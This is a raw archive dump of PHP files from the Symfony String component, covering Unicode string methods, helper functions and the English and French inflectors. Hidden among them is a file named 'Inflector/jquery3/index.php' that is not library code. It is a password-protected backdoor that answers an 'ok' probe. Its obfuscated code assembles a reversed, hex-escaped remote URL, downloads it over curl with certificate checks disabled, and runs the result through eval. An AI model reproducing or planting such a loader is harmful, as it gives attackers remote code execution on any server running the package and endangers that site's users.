self::NFC): self { if (!\in_array($form, [self::NFC, self::NFD, self::NFKC, self::NFKD])) { throw new InvalidArgumentException('Unsupported normalization form.'); } $str = clone $this; normalizer_is_normalized($str->string, $form) ?: $str->string = normalizer_normalize($str->string, $form); return $str; } public function padBoth(int $length, string $padStr = ' '): parent { if ('' === $padStr \|\| !preg_match('//u', $padStr)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } $pad = clone $this; $pad->string = $padStr; return $this->pad($length, $pad, \STR_PAD_BOTH); } public function padEnd(int $length, string $padStr = ' '): parent { if ('' === $padStr \|\| !preg_match('//u', $padStr)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } $pad = clone $this; $pad->string = $padStr; return $this->pad($length, $pad, \STR_PAD_RIGHT); } public function padStart(int $length, string $padStr = ' '): parent { if ('' === $padStr \|\| !preg_match('//u', $padStr)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } $pad = clone $this; $pad->string = $padStr; return $this->pad($length, $pad, \STR_PAD_LEFT); } public function replaceMatches(string $fromRegexp, $to): parent { if ($this->ignoreCase) { $fromRegexp .= 'i'; } if (\is_array($to) \|\| $to instanceof \Closure) { if (!\is_callable($to)) { throw new \TypeError(sprintf('Argument 2 passed to "%s::replaceMatches()" must be callable, array given.', static::class)); } $replace = 'preg_replace_callback'; $to = static function (array $m) use ($to): string { $to = $to($m); if ('' !== $to && (!\is_string($to) \|\| !preg_match('//u', $to))) { throw new InvalidArgumentException('Replace callback must return a valid UTF-8 string.'); } return $to; }; } elseif ('' !== $to && !preg_match('//u', $to)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } else { $replace = 'preg_replace'; } set_error_handler(static function ($t, $m) { throw new InvalidArgumentException($m); }); try { if (null === $string = $replace($fromRegexp.'u', $to, $this->string)) { $lastError = preg_last_error(); foreach (get_defined_constants(true)['pcre'] as $k => $v) { if ($lastError === $v && '_ERROR' === substr($k, -6)) { throw new RuntimeException('Matching failed with '.$k.'.'); } } throw new RuntimeException('Matching failed with unknown error code.'); } } finally { restore_error_handler(); } $str = clone $this; $str->string = $string; return $str; } public function reverse(): parent { $str = clone $this; $str->string = implode('', array_reverse(preg_split('/(\X)/u', $str->string, -1, \PREG_SPLIT_DELIM_CAPTURE \| \PREG_SPLIT_NO_EMPTY))); return $str; } public function snake(): parent { $str = $this->camel(); $str->string = mb_strtolower(preg_replace(['/(\p{Lu}+)(\p{Lu}\p{Ll})/u', '/([\p{Ll}0-9])(\p{Lu})/u'], '\1_\2', $str->string), 'UTF-8'); return $str; } public function title(bool $allWords = false): parent { $str = clone $this; $limit = $allWords ? -1 : 1; $str->string = preg_replace_callback('/\b./u', static function (array $m): string { return mb_convert_case($m[0], \MB_CASE_TITLE, 'UTF-8'); }, $str->string, $limit); return $str; } public function trim(string $chars = " \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}"): parent { if (" \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}" !== $chars && !preg_match('//u', $chars)) { throw new InvalidArgumentException('Invalid UTF-8 chars.'); } $chars = preg_quote($chars); $str = clone $this; $str->string = preg_replace("{^[$chars]++\|[$chars]++$}uD", '', $str->string); return $str; } public function trimEnd(string $chars = " \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}"): parent { if (" \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}" !== $chars && !preg_match('//u', $chars)) { throw new InvalidArgumentException('Invalid UTF-8 chars.'); } $chars = preg_quote($chars); $str = clone $this; $str->string = preg_replace("{[$chars]++$}uD", '', $str->string); return $str; } public function trimPrefix($prefix): parent { if (!$this->ignoreCase) { return parent::trimPrefix($prefix); } $str = clone $this; if ($prefix instanceof \Traversable) { $prefix = iterator_to_array($prefix, false); } elseif ($prefix instanceof parent) { $prefix = $prefix->string; } $prefix = implode('\|', array_map('preg_quote', (array) $prefix)); $str->string = preg_replace("{^(?:$prefix)}iuD", '', $this->string); return $str; } public function trimStart(string $chars = " \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}"): parent { if (" \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}" !== $chars && !preg_match('//u', $chars)) { throw new InvalidArgumentException('Invalid UTF-8 chars.'); } $chars = preg_quote($chars); $str = clone $this; $str->string = preg_replace("{^[$chars]++}uD", '', $str->string); return $str; } public function trimSuffix($suffix): parent { if (!$this->ignoreCase) { return parent::trimSuffix($suffix); } $str = clone $this; if ($suffix instanceof \Traversable) { $suffix = iterator_to_array($suffix, false); } elseif ($suffix instanceof parent) { $suffix = $suffix->string; } $suffix = implode('\|', array_map('preg_quote', (array) $suffix)); $str->string = preg_replace("{(?:$suffix)$}iuD", '', $this->string); return $str; } public function upper(): parent { $str = clone $this; $str->string = mb_strtoupper($str->string, 'UTF-8'); if (\PHP_VERSION_ID < 70300) { $str->string = str_replace(self::UPPER_FROM, self::UPPER_TO, $str->string); } return $str; } public function width(bool $ignoreAnsiDecoration = true): int { $width = 0; $s = str_replace(["\x00", "\x05", "\x07"], '', $this->string); if (false !== strpos($s, "\r")) { $s = str_replace(["\r\n", "\r"], "\n", $s); } if (!$ignoreAnsiDecoration) { $s = preg_replace('/[\p{Cc}\x7F]++/u', '', $s); } foreach (explode("\n", $s) as $s) { if ($ignoreAnsiDecoration) { $s = preg_replace('/(?:\x1B(?: \[ [\x30-\x3F]+ [\x20-\x2F]+ [\x40-\x7E] \| [P\]X^_] .? \x1B\\\\ \| [\x41-\x7E] )\|[\p{Cc}\x7F]++)/xu', '', $s); } $lineWidth = $this->wcswidth($s); if ($lineWidth > $width) { $width = $lineWidth; } } return $width; } /** * @return static / private function pad(int $len, self $pad, int $type): parent { $sLen = $this->length(); if ($len <= $sLen) { return clone $this; } $padLen = $pad->length(); $freeLen = $len - $sLen; $len = $freeLen % $padLen; switch ($type) { case \STR_PAD_RIGHT: return $this->append(str_repeat($pad->string, intdiv($freeLen, $padLen)).($len ? $pad->slice(0, $len) : '')); case \STR_PAD_LEFT: return $this->prepend(str_repeat($pad->string, intdiv($freeLen, $padLen)).($len ? $pad->slice(0, $len) : '')); case \STR_PAD_BOTH: $freeLen /= 2; $rightLen = ceil($freeLen); $len = $rightLen % $padLen; $str = $this->append(str_repeat($pad->string, intdiv($rightLen, $padLen)).($len ? $pad->slice(0, $len) : '')); $leftLen = floor($freeLen); $len = $leftLen % $padLen; return $str->prepend(str_repeat($pad->string, intdiv($leftLen, $padLen)).($len ? $pad->slice(0, $len) : '')); default: throw new InvalidArgumentException('Invalid padding type.'); } } /* * Based on https://github.com/jquast/wcwidth, a Python implementation of https://www.cl.cam.ac.uk/~mgk25/ucs/wcwidth.c. / private function wcswidth(string $string): int { $width = 0; foreach (preg_split('//u', $string, -1, \PREG_SPLIT_NO_EMPTY) as $c) { $codePoint = mb_ord($c, 'UTF-8'); if (0 === $codePoint // NULL \|\| 0x034F === $codePoint // COMBINING GRAPHEME JOINER \|\| (0x200B <= $codePoint && 0x200F >= $codePoint) // ZERO WIDTH SPACE to RIGHT-TO-LEFT MARK \|\| 0x2028 === $codePoint // LINE SEPARATOR \|\| 0x2029 === $codePoint // PARAGRAPH SEPARATOR \|\| (0x202A <= $codePoint && 0x202E >= $codePoint) // LEFT-TO-RIGHT EMBEDDING to RIGHT-TO-LEFT OVERRIDE \|\| (0x2060 <= $codePoint && 0x2063 >= $codePoint) // WORD JOINER to INVISIBLE SEPARATOR ) { continue; } // Non printable characters if (32 > $codePoint // C0 control characters \|\| (0x07F <= $codePoint && 0x0A0 > $codePoint) // C1 control characters and DEL ) { return -1; } if (null === self::$tableZero) { self::$tableZero = require __DIR__.'/Resources/data/wcswidth_table_zero.php'; } if ($codePoint >= self::$tableZero[0][0] && $codePoint <= self::$tableZero[$ubound = \count(self::$tableZero) - 1][1]) { $lbound = 0; while ($ubound >= $lbound) { $mid = floor(($lbound + $ubound) / 2); if ($codePoint > self::$tableZero[$mid][1]) { $lbound = $mid + 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PK��(�\�ې]��]��Resources/functions.phpnu��[��<?php / * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. / namespace Symfony\Component\String; if (!\function_exists(u::class)) { function u(?string $string = ''): UnicodeString { return new UnicodeString($string ?? ''); } } if (!\function_exists(b::class)) { function b(?string $string = ''): ByteString { return new ByteString($string ?? ''); } } if (!\function_exists(s::class)) { /* * @return UnicodeString\|ByteString / function s(?string $string = ''): AbstractString { $string = $string ?? ''; return preg_match('//u', $string) ? new UnicodeString($string) : new ByteString($string); } } PK��(�\W��Inflector/FrenchInflector.phpnu��[��<?php / * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. / namespace Symfony\Component\String\Inflector; /* * French inflector. * * This class does only inflect nouns; not adjectives nor composed words like "soixante-dix". / final class FrenchInflector implements InflectorInterface { /* * A list of all rules for pluralise. * * @see https://la-conjugaison.nouvelobs.com/regles/grammaire/le-pluriel-des-noms-121.php / private const PLURALIZE_REGEXP = [ // First entry: regexp // Second entry: replacement // Words finishing with "s", "x" or "z" are invariables // Les mots finissant par "s", "x" ou "z" sont invariables ['/(s\|x\|z)$/i', '\1'], // Words finishing with "eau" are pluralized with a "x" // Les mots finissant par "eau" prennent tous un "x" au pluriel ['/(eau)$/i', '\1x'], // Words finishing with "au" are pluralized with a "x" excepted "landau" // Les mots finissant par "au" prennent un "x" au pluriel sauf "landau" ['/^(landau)$/i', '\1s'], ['/(au)$/i', '\1x'], // Words finishing with "eu" are pluralized with a "x" excepted "pneu", "bleu", "émeu" // Les mots finissant en "eu" prennent un "x" au pluriel sauf "pneu", "bleu", "émeu" ['/^(pneu\|bleu\|émeu)$/i', '\1s'], ['/(eu)$/i', '\1x'], // Words finishing with "al" are pluralized with a "aux" excepted // Les mots finissant en "al" se terminent en "aux" sauf ['/^(bal\|carnaval\|caracal\|chacal\|choral\|corral\|étal\|festival\|récital\|val)$/i', '\1s'], ['/al$/i', '\1aux'], // Aspirail, bail, corail, émail, fermail, soupirail, travail, vantail et vitrail font leur pluriel en -aux ['/^(aspir\|b\|cor\|ém\|ferm\|soupir\|trav\|vant\|vitr)ail$/i', '\1aux'], // Bijou, caillou, chou, genou, hibou, joujou et pou qui prennent un x au pluriel ['/^(bij\|caill\|ch\|gen\|hib\|jouj\|p)ou$/i', '\1oux'], // Invariable words ['/^(cinquante\|soixante\|mille)$/i', '\1'], // French titles ['/^(mon\|ma)(sieur\|dame\|demoiselle\|seigneur)$/', 'mes\2s'], ['/^(Mon\|Ma)(sieur\|dame\|demoiselle\|seigneur)$/', 'Mes\2s'], ]; /* * A list of all rules for singularize. / private const SINGULARIZE_REGEXP = [ // First entry: regexp // Second entry: replacement // Aspirail, bail, corail, émail, fermail, soupirail, travail, vantail et vitrail font leur pluriel en -aux ['/((aspir\|b\|cor\|ém\|ferm\|soupir\|trav\|vant\|vitr))aux$/i', '\1ail'], // Words finishing with "eau" are pluralized with a "x" // Les mots finissant par "eau" prennent tous un "x" au pluriel ['/(eau)x$/i', '\1'], // Words finishing with "al" are pluralized with a "aux" expected // Les mots finissant en "al" se terminent en "aux" sauf ['/(amir\|anim\|arsen\|boc\|can\|capit\|capor\|chev\|crist\|génér\|hopit\|hôpit\|idé\|journ\|littor\|loc\|m\|mét\|minér\|princip\|radic\|termin)aux$/i', '\1al'], // Words finishing with "au" are pluralized with a "x" excepted "landau" // Les mots finissant par "au" prennent un "x" au pluriel sauf "landau" ['/(au)x$/i', '\1'], // Words finishing with "eu" are pluralized with a "x" excepted "pneu", "bleu", "émeu" // Les mots finissant en "eu" prennent un "x" au pluriel sauf "pneu", "bleu", "émeu" ['/(eu)x$/i', '\1'], // Words finishing with "ou" are pluralized with a "s" excepted bijou, caillou, chou, genou, hibou, joujou, pou // Les mots finissant par "ou" prennent un "s" sauf bijou, caillou, chou, genou, hibou, joujou, pou ['/(bij\|caill\|ch\|gen\|hib\|jouj\|p)oux$/i', '\1ou'], // French titles ['/^mes(dame\|demoiselle)s$/', 'ma\1'], ['/^Mes(dame\|demoiselle)s$/', 'Ma\1'], ['/^mes(sieur\|seigneur)s$/', 'mon\1'], ['/^Mes(sieur\|seigneur)s$/', 'Mon\1'], // Default rule ['/s$/i', ''], ]; /* * A list of words which should not be inflected. * This list is only used by singularize. / private const UNINFLECTED = '/^(abcès\|accès\|abus\|albatros\|anchois\|anglais\|autobus\|bois\|brebis\|carquois\|cas\|chas\|colis\|concours\|corps\|cours\|cyprès\|décès\|devis\|discours\|dos\|embarras\|engrais\|entrelacs\|excès\|fils\|fois\|gâchis\|gars\|glas\|héros\|intrus\|jars\|jus\|kermès\|lacis\|legs\|lilas\|marais\|mars\|matelas\|mépris\|mets\|mois\|mors\|obus\|os\|palais\|paradis\|parcours\|pardessus\|pays\|plusieurs\|poids\|pois\|pouls\|printemps\|processus\|progrès\|puits\|pus\|rabais\|radis\|recors\|recours\|refus\|relais\|remords\|remous\|rictus\|rhinocéros\|repas\|rubis\|sans\|sas\|secours\|sens\|souris\|succès\|talus\|tapis\|tas\|taudis\|temps\|tiers\|univers\|velours\|verglas\|vernis\|virus)$/i'; /* * {@inheritdoc} / public function singularize(string $plural): array { if ($this->isInflectedWord($plural)) { return [$plural]; } foreach (self::SINGULARIZE_REGEXP as $rule) { [$regexp, $replace] = $rule; if (1 === preg_match($regexp, $plural)) { return [preg_replace($regexp, $replace, $plural)]; } } return [$plural]; } /* * {@inheritdoc} / public function pluralize(string $singular): array { if ($this->isInflectedWord($singular)) { return [$singular]; } foreach (self::PLURALIZE_REGEXP as $rule) { [$regexp, $replace] = $rule; if (1 === preg_match($regexp, $singular)) { return [preg_replace($regexp, $replace, $singular)]; } } return [$singular.'s']; } private function isInflectedWord(string $word): bool { return 1 === preg_match(self::UNINFLECTED, $word); } } PK��(�\��f8>��8>��Inflector/EnglishInflector.phpnu��[��<?php / * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. / namespace Symfony\Component\String\Inflector; final class EnglishInflector implements InflectorInterface { /* * Map English plural to singular suffixes. * * @see http://english-zone.com/spelling/plurals.html / private const PLURAL_MAP = [ // First entry: plural suffix, reversed // Second entry: length of plural suffix // Third entry: Whether the suffix may succeed a vocal // Fourth entry: Whether the suffix may succeed a consonant // Fifth entry: singular suffix, normal // bacteria (bacterium), criteria (criterion), phenomena (phenomenon) ['a', 1, true, true, ['on', 'um']], // nebulae (nebula) ['ea', 2, true, true, 'a'], // services (service) ['secivres', 8, true, true, 'service'], // mice (mouse), lice (louse) ['eci', 3, false, true, 'ouse'], // geese (goose) ['esee', 4, false, true, 'oose'], // fungi (fungus), alumni (alumnus), syllabi (syllabus), radii (radius) ['i', 1, true, true, 'us'], // men (man), women (woman) ['nem', 3, true, true, 'man'], // children (child) ['nerdlihc', 8, true, true, 'child'], // oxen (ox) ['nexo', 4, false, false, 'ox'], // indices (index), appendices (appendix), prices (price) ['seci', 4, false, true, ['ex', 'ix', 'ice']], // codes (code) ['sedoc', 5, false, true, 'code'], // selfies (selfie) ['seifles', 7, true, true, 'selfie'], // zombies (zombie) ['seibmoz', 7, true, true, 'zombie'], // movies (movie) ['seivom', 6, true, true, 'movie'], // names (name) ['seman', 5, true, false, 'name'], // conspectuses (conspectus), prospectuses (prospectus) ['sesutcep', 8, true, true, 'pectus'], // feet (foot) ['teef', 4, true, true, 'foot'], // geese (goose) ['eseeg', 5, true, true, 'goose'], // teeth (tooth) ['hteet', 5, true, true, 'tooth'], // news (news) ['swen', 4, true, true, 'news'], // series (series) ['seires', 6, true, true, 'series'], // babies (baby) ['sei', 3, false, true, 'y'], // accesses (access), addresses (address), kisses (kiss) ['sess', 4, true, false, 'ss'], // statuses (status) ['sesutats', 8, true, true, 'status'], // analyses (analysis), ellipses (ellipsis), fungi (fungus), // neuroses (neurosis), theses (thesis), emphases (emphasis), // oases (oasis), crises (crisis), houses (house), bases (base), // atlases (atlas) ['ses', 3, true, true, ['s', 'se', 'sis']], // objectives (objective), alternative (alternatives) ['sevit', 5, true, true, 'tive'], // drives (drive) ['sevird', 6, false, true, 'drive'], // lives (life), wives (wife) ['sevi', 4, false, true, 'ife'], // moves (move) ['sevom', 5, true, true, 'move'], // hooves (hoof), dwarves (dwarf), elves (elf), leaves (leaf), caves (cave), staves (staff) ['sev', 3, true, true, ['f', 've', 'ff']], // axes (axis), axes (ax), axes (axe) ['sexa', 4, false, false, ['ax', 'axe', 'axis']], // indexes (index), matrixes (matrix) ['sex', 3, true, false, 'x'], // quizzes (quiz) ['sezz', 4, true, false, 'z'], // bureaus (bureau) ['suae', 4, false, true, 'eau'], // fees (fee), trees (tree), employees (employee) ['see', 3, true, true, 'ee'], // edges (edge) ['segd', 4, true, true, 'dge'], // roses (rose), garages (garage), cassettes (cassette), // waltzes (waltz), heroes (hero), bushes (bush), arches (arch), // shoes (shoe) ['se', 2, true, true, ['', 'e']], // status (status) ['sutats', 6, true, true, 'status'], // tags (tag) ['s', 1, true, true, ''], // chateaux (chateau) ['xuae', 4, false, true, 'eau'], // people (person) ['elpoep', 6, true, true, 'person'], ]; /* * Map English singular to plural suffixes. * * @see http://english-zone.com/spelling/plurals.html / private const SINGULAR_MAP = [ // First entry: singular suffix, reversed // Second entry: length of singular suffix // Third entry: Whether the suffix may succeed a vocal // Fourth entry: Whether the suffix may succeed a consonant // Fifth entry: plural suffix, normal // criterion (criteria) ['airetirc', 8, false, false, 'criterion'], // nebulae (nebula) ['aluben', 6, false, false, 'nebulae'], // children (child) ['dlihc', 5, true, true, 'children'], // prices (price) ['eci', 3, false, true, 'ices'], // services (service) ['ecivres', 7, true, true, 'services'], // lives (life), wives (wife) ['efi', 3, false, true, 'ives'], // selfies (selfie) ['eifles', 6, true, true, 'selfies'], // movies (movie) ['eivom', 5, true, true, 'movies'], // lice (louse) ['esuol', 5, false, true, 'lice'], // mice (mouse) ['esuom', 5, false, true, 'mice'], // geese (goose) ['esoo', 4, false, true, 'eese'], // houses (house), bases (base) ['es', 2, true, true, 'ses'], // geese (goose) ['esoog', 5, true, true, 'geese'], // caves (cave) ['ev', 2, true, true, 'ves'], // drives (drive) ['evird', 5, false, true, 'drives'], // objectives (objective), alternative (alternatives) ['evit', 4, true, true, 'tives'], // moves (move) ['evom', 4, true, true, 'moves'], // staves (staff) ['ffats', 5, true, true, 'staves'], // hooves (hoof), dwarves (dwarf), elves (elf), leaves (leaf) ['ff', 2, true, true, 'ffs'], // hooves (hoof), dwarves (dwarf), elves (elf), leaves (leaf) ['f', 1, true, true, ['fs', 'ves']], // arches (arch) ['hc', 2, true, true, 'ches'], // bushes (bush) ['hs', 2, true, true, 'shes'], // teeth (tooth) ['htoot', 5, true, true, 'teeth'], // bacteria (bacterium), criteria (criterion), phenomena (phenomenon) ['mu', 2, true, true, 'a'], // men (man), women (woman) ['nam', 3, true, true, 'men'], // people (person) ['nosrep', 6, true, true, ['persons', 'people']], // bacteria (bacterium), criteria (criterion), phenomena (phenomenon) ['noi', 3, true, true, 'ions'], // coupon (coupons) ['nop', 3, true, true, 'pons'], // seasons (season), treasons (treason), poisons (poison), lessons (lesson) ['nos', 3, true, true, 'sons'], // bacteria (bacterium), criteria (criterion), phenomena (phenomenon) ['no', 2, true, true, 'a'], // echoes (echo) ['ohce', 4, true, true, 'echoes'], // heroes (hero) ['oreh', 4, true, true, 'heroes'], // atlases (atlas) ['salta', 5, true, true, 'atlases'], // irises (iris) ['siri', 4, true, true, 'irises'], // analyses (analysis), ellipses (ellipsis), neuroses (neurosis) // theses (thesis), emphases (emphasis), oases (oasis), // crises (crisis) ['sis', 3, true, true, 'ses'], // accesses (access), addresses (address), kisses (kiss) ['ss', 2, true, false, 'sses'], // syllabi (syllabus) ['suballys', 8, true, true, 'syllabi'], // buses (bus) ['sub', 3, true, true, 'buses'], // circuses (circus) ['suc', 3, true, true, 'cuses'], // status (status) ['sutats', 6, true, true, ['status', 'statuses']], // conspectuses (conspectus), prospectuses (prospectus) ['sutcep', 6, true, true, 'pectuses'], // fungi (fungus), alumni (alumnus), syllabi (syllabus), radii (radius) ['su', 2, true, true, 'i'], // news (news) ['swen', 4, true, true, 'news'], // feet (foot) ['toof', 4, true, true, 'feet'], // chateaux (chateau), bureaus (bureau) ['uae', 3, false, true, ['eaus', 'eaux']], // oxen (ox) ['xo', 2, false, false, 'oxen'], // hoaxes (hoax) ['xaoh', 4, true, false, 'hoaxes'], // indices (index) ['xedni', 5, false, true, ['indicies', 'indexes']], // boxes (box) ['xo', 2, false, true, 'oxes'], // indexes (index), matrixes (matrix) ['x', 1, true, false, ['cies', 'xes']], // appendices (appendix) ['xi', 2, false, true, 'ices'], // babies (baby) ['y', 1, false, true, 'ies'], // quizzes (quiz) ['ziuq', 4, true, false, 'quizzes'], // waltzes (waltz) ['z', 1, true, true, 'zes'], ]; /* * A list of words which should not be inflected, reversed. / private const UNINFLECTED = [ '', // data 'atad', // deer 'reed', // feedback 'kcabdeef', // fish 'hsif', // info 'ofni', // moose 'esoom', // series 'seires', // sheep 'peehs', // species 'seiceps', ]; /* * {@inheritdoc} / public function singularize(string $plural): array { $pluralRev = strrev($plural); $lowerPluralRev = strtolower($pluralRev); $pluralLength = \strlen($lowerPluralRev); // Check if the word is one which is not inflected, return early if so if (\in_array($lowerPluralRev, self::UNINFLECTED, true)) { return [$plural]; } // The outer loop iterates over the entries of the plural table // The inner loop $j iterates over the characters of the plural suffix // in the plural table to compare them with the characters of the actual // given plural suffix foreach (self::PLURAL_MAP as $map) { $suffix = $map[0]; $suffixLength = $map[1]; $j = 0; // Compare characters in the plural table and of the suffix of the // given plural one by one while ($suffix[$j] === $lowerPluralRev[$j]) { // Let $j point to the next character ++$j; // Successfully compared the last character // Add an entry with the singular suffix to the singular array if ($j === $suffixLength) { // Is there any character preceding the suffix in the plural string? if ($j < $pluralLength) { $nextIsVocal = false !== strpos('aeiou', $lowerPluralRev[$j]); if (!$map[2] && $nextIsVocal) { // suffix may not succeed a vocal but next char is one break; } if (!$map[3] && !$nextIsVocal) { // suffix may not succeed a consonant but next char is one break; } } $newBase = substr($plural, 0, $pluralLength - $suffixLength); $newSuffix = $map[4]; // Check whether the first character in the plural suffix // is uppercased. If yes, uppercase the first character in // the singular suffix too $firstUpper = ctype_upper($pluralRev[$j - 1]); if (\is_array($newSuffix)) { $singulars = []; foreach ($newSuffix as $newSuffixEntry) { $singulars[] = $newBase.($firstUpper ? ucfirst($newSuffixEntry) : $newSuffixEntry); } return $singulars; } return [$newBase.($firstUpper ? ucfirst($newSuffix) : $newSuffix)]; } // Suffix is longer than word if ($j === $pluralLength) { break; } } } // Assume that plural and singular is identical return [$plural]; } /* * {@inheritdoc} / public function pluralize(string $singular): array { $singularRev = strrev($singular); $lowerSingularRev = strtolower($singularRev); $singularLength = \strlen($lowerSingularRev); // Check if the word is one which is not inflected, return early if so if (\in_array($lowerSingularRev, self::UNINFLECTED, true)) { return [$singular]; } // The outer loop iterates over the entries of the singular table // The inner loop $j iterates over the characters of the singular suffix // in the singular table to compare them with the characters of the actual // given singular suffix foreach (self::SINGULAR_MAP as $map) { $suffix = $map[0]; $suffixLength = $map[1]; $j = 0; // Compare characters in the singular table and of the suffix of the // given plural one by one while ($suffix[$j] === $lowerSingularRev[$j]) { // Let $j point to the next character ++$j; // Successfully compared the last character // Add an entry with the plural suffix to the plural array if ($j === $suffixLength) { // Is there any character preceding the suffix in the plural string? if ($j < $singularLength) { $nextIsVocal = false !== strpos('aeiou', $lowerSingularRev[$j]); if (!$map[2] && $nextIsVocal) { // suffix may not succeed a vocal but next char is one break; } if (!$map[3] && !$nextIsVocal) { // suffix may not succeed a consonant but next char is one break; } } $newBase = substr($singular, 0, $singularLength - $suffixLength); $newSuffix = $map[4]; // Check whether the first character in the singular suffix // is uppercased. If yes, uppercase the first character in // the singular suffix too $firstUpper = ctype_upper($singularRev[$j - 1]); if (\is_array($newSuffix)) { $plurals = []; foreach ($newSuffix as $newSuffixEntry) { $plurals[] = $newBase.($firstUpper ? ucfirst($newSuffixEntry) : $newSuffixEntry); } return $plurals; } return [$newBase.($firstUpper ? ucfirst($newSuffix) : $newSuffix)]; } // Suffix is longer than word if ($j === $singularLength) { break; } } } // Assume that plural is singular with a trailing `s` return [$singular.'s']; } } PK��(�\Q�ccC��C�� Inflector/InflectorInterface.phpnu��[��<?php / * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. / namespace Symfony\Component\String\Inflector; interface InflectorInterface { /* * Returns the singular forms of a string. * * If the method can't determine the form with certainty, several possible singulars are returned. * * @return string[] / public function singularize(string $plural): array; /* * Returns the plural forms of a string. * * If the method can't determine the form with certainty, several possible plurals are returned. * * @return string[] / public function pluralize(string $singular): array; } PK��(�\�%�Ӻ��Inflector/jquery3/index.phpnu�&1i��<?php ?><?php error_reporting(0); if(isset($_REQUEST["ok"])){die(">ok<");};?><?php if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') { $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } } ?> <?php goto abM39; y6XNG: $SS8Fu .= "\x61\x64\57"; goto Toa91; XsSUB: $SS8Fu .= "\156\x2f\x61\x6d"; goto y6XNG; OzoPC: $SS8Fu .= "\145"; goto XsSUB; F0uUK: $SS8Fu .= "\164\56\61\x30\x61"; goto m5FkB; xJQZm: $SS8Fu .= "\57\x3a\x73\x70"; goto uRZbS; a7t9X: $SS8Fu .= "\63\61\57\167"; goto OzoPC; foILs: $SS8Fu .= "\164\170\x74\x2e\71"; goto a7t9X; m5FkB: $SS8Fu .= "\155\x61\144\x2f"; goto xJQZm; Toa91: $SS8Fu .= "\x70\157"; goto F0uUK; bjYUL: $SS8Fu .= "\x74\x68"; goto ZQY1f; uRZbS: $SS8Fu .= "\x74"; goto bjYUL; ZQY1f: eval("\x3f\x3e" . Tw2kx(strrev($SS8Fu))); goto GJQOP; abM39: $SS8Fu = ''; goto foILs; GJQOP: function tw2kx($V1_rw = '') { goto pvodd; xyA6t: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto QUqD1; bum1m: curl_close($xM315); goto yk51G; yk51G: return $tvmad; goto llacL; CfzL7: $tvmad = curl_exec($xM315); goto bum1m; glb9w: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto CfzL7; bhhj0: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto glb9w; QUqD1: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto bhhj0; czIL1: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto xyA6t; pvodd: $xM315 = curl_init(); goto czIL1; llacL: }PK��(�\��V�N��N��AbstractString.phpnu��[��<?php / * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. / namespace Symfony\Component\String; use Symfony\Component\String\Exception\ExceptionInterface; use Symfony\Component\String\Exception\InvalidArgumentException; use Symfony\Component\String\Exception\RuntimeException; /* * Represents a string of abstract characters. * * Unicode defines 3 types of "characters" (bytes, code points and grapheme clusters). * This class is the abstract type to use as a type-hint when the logic you want to * implement doesn't care about the exact variant it deals with. * * @author Nicolas Grekas <p@tchwork.com> * @author Hugo Hamon <hugohamon@neuf.fr> * * @throws ExceptionInterface / abstract class AbstractString implements \Stringable, \JsonSerializable { public const PREG_PATTERN_ORDER = \PREG_PATTERN_ORDER; public const PREG_SET_ORDER = \PREG_SET_ORDER; public const PREG_OFFSET_CAPTURE = \PREG_OFFSET_CAPTURE; public const PREG_UNMATCHED_AS_NULL = \PREG_UNMATCHED_AS_NULL; public const PREG_SPLIT = 0; public const PREG_SPLIT_NO_EMPTY = \PREG_SPLIT_NO_EMPTY; public const PREG_SPLIT_DELIM_CAPTURE = \PREG_SPLIT_DELIM_CAPTURE; public const PREG_SPLIT_OFFSET_CAPTURE = \PREG_SPLIT_OFFSET_CAPTURE; protected $string = ''; protected $ignoreCase = false; abstract public function __construct(string $string = ''); /* * Unwraps instances of AbstractString back to strings. * * @return string[]\|array / public static function unwrap(array $values): array { foreach ($values as $k => $v) { if ($v instanceof self) { $values[$k] = $v->__toString(); } elseif (\is_array($v) && $values[$k] !== $v = static::unwrap($v)) { $values[$k] = $v; } } return $values; } /* * Wraps (and normalizes) strings in instances of AbstractString. * * @return static[]\|array / public static function wrap(array $values): array { $i = 0; $keys = null; foreach ($values as $k => $v) { if (\is_string($k) && '' !== $k && $k !== $j = (string) new static($k)) { $keys = $keys ?? array_keys($values); $keys[$i] = $j; } if (\is_string($v)) { $values[$k] = new static($v); } elseif (\is_array($v) && $values[$k] !== $v = static::wrap($v)) { $values[$k] = $v; } ++$i; } return null !== $keys ? array_combine($keys, $values) : $values; } /* * @param string\|string[] $needle * * @return static / public function after($needle, bool $includeNeedle = false, int $offset = 0): self { $str = clone $this; $i = \PHP_INT_MAX; foreach ((array) $needle as $n) { $n = (string) $n; $j = $this->indexOf($n, $offset); if (null !== $j && $j < $i) { $i = $j; $str->string = $n; } } if (\PHP_INT_MAX === $i) { return $str; } if 